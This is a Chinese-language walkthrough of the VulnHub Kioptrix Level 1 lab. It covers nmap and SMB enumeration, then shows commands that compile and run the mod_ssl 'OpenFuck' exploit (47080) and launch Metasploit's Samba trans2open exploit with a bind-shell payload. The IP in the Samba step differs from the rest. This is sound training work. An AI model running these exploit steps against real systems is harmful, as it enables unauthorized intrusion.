前言

Kioptrix: Level 1 (#1): 靶机地址

https://www.vulnhub.com/entry/kioptrix-level-1-1

下载解压好后 将 网络修改为 nat模式

信息收集

探测靶机ip

netdiscover -i eth0 -r 192.168.157.0/24

nmap探测端口

nmap -A -T4 -v 192.168.157.154 -o port.txt

cat port.txt

# Nmap 7.91 scan initiated Mon Nov 15 16:28:34 2021 as: nmap -A -T4 -v -o port.txt 192.168.157.154
Nmap scan report for 192.168.157.154
Host is up (0.00042s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey: 
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods: 
|   Supported Methods: GET HEAD OPTIONS TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1           1024/tcp   status
|_  100024  1           1024/udp   status
139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Issuer: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: md5WithRSAEncryption
| Not valid before: 2009-09-26T09:32:06
| Not valid after:  2010-09-26T09:32:06
| MD5:   78ce 5293 4723 e7fe c28d 74ab 42d7 02f1
|_SHA-1: 9c42 91c3 bed2 a95b 983d 10ac f766 ecb9 8766 1d33
|_ssl-date: 2021-11-15T09:31:29+00:00; +1h01m50s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|_    SSL2_RC4_128_WITH_MD5
1024/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:7C:3A:16 (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Uptime guess: 0.010 days (since Mon Nov 15 16:15:22 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=203 (Good luck!)
IP ID Sequence Generation: All zeros

Host script results:
|_clock-skew: 1h01m49s
| nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   KIOPTRIX<00>         Flags: <unique><active>
|   KIOPTRIX<03>         Flags: <unique><active>
|   KIOPTRIX<20>         Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   MYGROUP<00>          Flags: <group><active>
|   MYGROUP<1d>          Flags: <unique><active>
|_  MYGROUP<1e>          Flags: <group><active>
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT     ADDRESS
1   0.42 ms 192.168.157.154

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Nov 15 16:29:39 2021 -- 1 IP address (1 host up) scanned in 64.55 seconds

整理 发现 开放的端口有

22 SSH 80 HTTP 111 rpcbind 139 netbios-ssn Samba 443 SSL HTTPS

访问首页

访问 http://192.168.157.154

发现是apache 默认页面 没有有用的信息

枚举目录

dirb http://192.168.157.154

发现的目录，访问url后 都没有什么用处。

443端口入手

之前nmap 扫描出 443端口 版本 为mod_ssl/2.8.4

searchsploit搜索漏洞

Exploit-DB是一个漏洞库，Kali Linux中保存了一个该漏洞库的拷贝，利用上面提到的命令就可以查找需要的渗透模块，它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的，在没有网络的情况下也可以使用。

用 searchsploit 搜索mod_ssl漏洞

searchsploit mod_ssl

拷贝漏洞

-m 将一个exp拷贝到当前目录， 后边加目标id
searchsploit -m 47080

编译exp

使用 GCC 命令将有效载荷 c 文件编译为二进制可执行文件并添加执行权限

gcc -o hackNos 47080.c -lcrypto   
# 编译有问题的话 自行百度有解决方案       sudo apt-get install libssl-dev
chmod +x hackNos

exp利用

漏洞现在可以使用了，使用参数 0x6b 缓冲区和我们的目标 IP 地址运行命令

./hackNos 0x6b 192.168.157.154 -c 41

反弹回的shell只是apache用户 并不是 root用户

百度后 得知
有文件在墙外，没有下载和执行成功，如果执行成功拿到的权限是应该root的 。

139端口入手

139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)

探测版本(msf探测成功)

smbclient

smbclient -L 192.168.157.154 -N  

失败

enum4linux

enum4linux -a 192.168.157.154  

失败

msf

use auxiliary/scanner/smb/smb_version 
set rhosts 192.168.157.154

成功

寻找漏洞

（1） searchsploit 搜索

searchsploit samba

如图所示 用msf 攻击即可

（2） 谷歌搜索

msf攻击

use exploit/linux/samba/trans2open
set PAYLOAD linux/x86/shell_bind_tcp
set rhost 192.168.25.188
run

总结

直接用漏洞提权
1.mod_ssl 2.8.4 溢出漏洞

gcc编译后使用

2.samba 2.2.1a 溢出漏洞

版本探测不出来多试几种方法探测
msf payload 使用场景也要注意